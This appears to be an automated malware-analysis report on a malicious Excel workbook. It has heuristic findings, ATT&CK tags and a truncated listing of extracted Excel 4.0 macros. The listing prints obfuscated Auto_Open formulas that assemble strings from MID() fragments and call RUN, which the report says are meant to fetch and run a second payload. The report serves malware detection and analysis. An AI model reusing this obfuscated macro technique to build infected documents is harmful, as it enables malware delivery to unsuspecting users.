MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The file is an Excel document containing Excel 4.0 macros, specifically an Auto_Open macro. This macro is configured to execute dangerous formula APIs, including RUN, indicating it is designed to launch external processes. The presence of the Auto_Open function and the use of RUN strongly suggest the macro's purpose is to download and execute a secondary payload.
Heuristics 3
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Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
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XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FNExcel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
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Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 54580 bytes |
SHA-256: 96ef853b7ea0bfe6e06aef0b274488dd2cc2db8880205cb119a2f09c6d9229f1 |
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Preview scriptFirst 1,000 lines of the extracted script
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet ' 0085 26 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible - sSkbbT0CHbe11TAcX ' 0018 33 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d Sheet!HY44305 ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' Sheet,Reference,Formula,Value ' sSkbbT0CHbe11TAcX,EX374,RUN(DK48931),"" ' sSkbbT0CHbe11TAcX,DE563,"FORMULA(MID(DK10150,4,1)&MID(EP15036,9,1)&MID(CN46966,5,1)&MID(DE43212,16,1)&MID(EP15036,8,1)&MID(BH27770,15,1)&MID(DK10150,2,1)&MID(EP15036,15,1)&MID(CN46966,13,1)&MID(DE43212,7,1)&MID(EP15036,6,1)&MID(BH27770,9,1)&MID(DK10150,9,1)&MID(EP15036,6,1)&MID(EP15036,7,1)&MID(BH27770,2,1)&MID(CN46966,13,1)&MID(EP15036,6,1)&MID(DE43212,14,1)&MID(DK10150,11,1)&MID(EP15036,7,1)&MID(DK10150,10,1),DU14812)","" ' sSkbbT0CHbe11TAcX,DE564,GOTO(HK39650),"" ' sSkbbT0CHbe11TAcX,DA936,"FORMULA(MID(DK10150,4,1)&MID(BH27770,2,1)&MID(DE43212,13,1)&MID(DE43212,16,1)&MID(DE43212,16,1)&MID(DK10150,2,1)&MID(DK10150,7,1)&MID(DE43212,2,1)&MID(EP15036,5,1)&MID(DK10150,12,1)&MID(BH27770,8,1)&MID(DE43212,9,1)&MID(CN46966,15,1)&MID(DK10150,7,1)&MID(CN46966,6,1)&MID(DK10150,7,1)&MID(BH27770,14,1)&MID(EP15036,15,1)&MID(DE43212,16,1)&MID(EP15036,2,1)&MID(DE43212,9,1)&MID(EP15036,1,1)&MID(CN46966,15,1)&MID(DK10150,12,1)&MID(DE43212,9,1)&MID(DE43212,6,1)&MID(CN46966,14,1)&MID(EP15036,11,1)&MID(DE43212,9,1)&MID(EP15036,9,1)&MID(CN46966,10,1)&MID(DK10150,12,1)&MID(CN46966,3,1)&MID(DE43212,13,1)&MID(DK10150,7,1)&MID(CN46966,6,1)&MID(DK10150,7,1)&MID(DE43212,15,1)&MID(DE43212,15,1)&MID(BH27770,2,1)&MID(BH27770,2,1)&MID(DE43212,15,1)&MID(DE43212,15,1)&MID(DK10150,7,1)&MID(CN46966,6,1)&MID(DK10150,13,1)&MID(CN46966,6,1)&MID(EP15036,15,1)&MID(CN46966,13,1)&MID(EP15036,6,1)&MID(BH27770,9,1)&MID(DK10150,9,1)&MID(BH27770,12,1)&MID(DE43212,14,1)&MID(EP15036,7,1)&MID(BH27770,2,1)&MID(CN46966,13,1)&MID(DK10150,11,1)&MID(DE43212,14,1)&MID(EP15036,7,1)&MID(CN46966,6,1)&MID(EP15036,15,1)&MID(CN46966,13,1)&MID(DE43212,7,1)&MID(EP15036,6,1)&MID(DK10150,9,1)&MID(BH27770,12,1)&MID(DK10150,13,1)&MID(EP15036,7,1)&MID(BH27770,2,1)&MID(CN46966,13,1)&MID(BH27770,9,1)&MID(DE43212,14,1)&MID(EP15036,7,1)&MID(CN46966,6,1)&MID(DK10150,13,1)&MID(CN46966,6,1)&MID(DK10150,13,1)&MID(DK10150,10,1),IH15131)","" ' sSkbbT0CHbe11TAcX,DA937,GOTO(DE563),"" ' sSkbbT0CHbe11TAcX,BN1044,"FORMULA(MID(CL3948,5,1)&MID(JQ24403,4,1)&MID(FU44927,7,1)&MID(CL3948,9,1)&MID(FU44927,15,1)&MID(FU44927,6,1)&MID(FU44927,4,1)&M ... (truncated) |
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